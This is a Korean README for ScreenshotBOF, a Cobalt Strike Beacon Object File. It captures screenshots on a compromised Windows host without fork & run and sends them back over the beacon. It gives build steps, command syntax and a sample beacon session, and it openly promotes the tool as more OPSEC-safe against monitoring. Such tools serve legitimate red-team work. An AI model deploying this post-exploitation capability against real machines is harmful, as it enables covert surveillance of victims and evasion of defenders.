ScreenshotBOF

Cobalt Strike를 위한 대체 스크린샷 기능으로, WinAPI를 사용하며 fork & run을 수행하지 않습니다. 스크린샷이 메모리에서 다운로드됩니다.

기능

• JPEG 압축
• 스크린샷 또는 파일로 메모리 내 다운로드
• 최소화된 창 캡처 지원
• 회색조, JPEG 품질 및 축소를 통한 파일 크기 감소

자체 컴파일

1. git clone the repo
2. make 실행

저장 방법:

0. 파일을 디스크에 저장
1. 비콘을 통해 파일 다운로드 (Cobalt Strike 전용)
2. 비콘을 통해 스크린샷으로 파일 다운로드 (Cobalt Strike 전용)

PID

0: 전체 화면 캡처 (PID = 0) 특정 PID: 특정 PID 캡처 (최소화된 상태에서도 작동!)

사용법

1. screenshotBOF.cna 스크립트를 Cobalt Strike에 임포트
2. 다음 명령어 사용: screenshot_bof {로컬 파일명} {저장 방법 0/1/2} {pid/0} {회색조 0/1} {품질 0-100} {축소 0-100}
   • screenshot_bof를 인수 없이 실행하면 GUI 대화상자가 표시됩니다

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

참고사항

• 별도의 우회(evasion)는 수행되지 않습니다. 사용된 WinAPI가 악의적이지 않으므로 문제되지 않습니다.

만든 이유

Cobalt Strike는 스크린샷 명령을 포함한 많은 사후 침투 기능에 fork & run 기술을 사용합니다. 이 동작은 안정성을 제공하지만, 현재는 잘 알려져 있으며 집중적으로 모니터링되고 있습니다. 이 BOF는 스크린샷 기능의 더 OPSEC 안전한 버전을 제공하기 위해 만들어졌습니다.

크레딧

• BMP를 파일로 저장: https://stackoverflow.com/a/60667564
• 메모리 내 다운로드: https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline: (사용 중단됨) aggressorscript의 BMP 렌더링 및 스크린샷 콜백 함수
• 비트맵을 JPEG로 변환: https://github.com/WKL-Sec/HiddenDesktop

면책 조항

평소와 같은 면책 조항입니다. 이 형편없는 코드를 사용하여 저지른 반인류적 범죄나 촉발한 핵전쟁에 대해 저는 책임지지 않습니다.